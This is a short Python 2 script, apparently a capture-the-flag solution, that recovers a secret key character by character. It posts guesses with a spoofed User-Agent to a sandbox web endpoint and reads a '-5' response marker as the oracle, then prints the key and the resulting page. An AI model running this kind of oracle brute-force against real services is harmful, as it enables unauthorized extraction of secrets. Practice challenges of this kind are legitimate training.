# -*- coding: utf8 -*-
import requests
alphabet = 'abcdefghijklmnopqrstuvwxyz01234567890'
answer = []
while True:
    find = False
    for i in range(0, len(alphabet)):
        data = {'a':''.join(answer)+alphabet[i]}
        res = requests.post('http://sandbox.smishing.kr:32810/post.php', data=data,headers={'User-Agent':'SSG_Browser'}).content
        if res.find('-5') == -1:
            answer.append(alphabet[i])
            find = True
            print ''.join(answer)
            break

    if find == False: break
print 'Key : ' + ''.join(answer)
print '----- webdata -----'
data = {'a':''.join(answer)}
res = requests.post('http://sandbox.smishing.kr:32810/post.php', data=data,headers={'User-Agent':'SSG_Browser'}).content
print res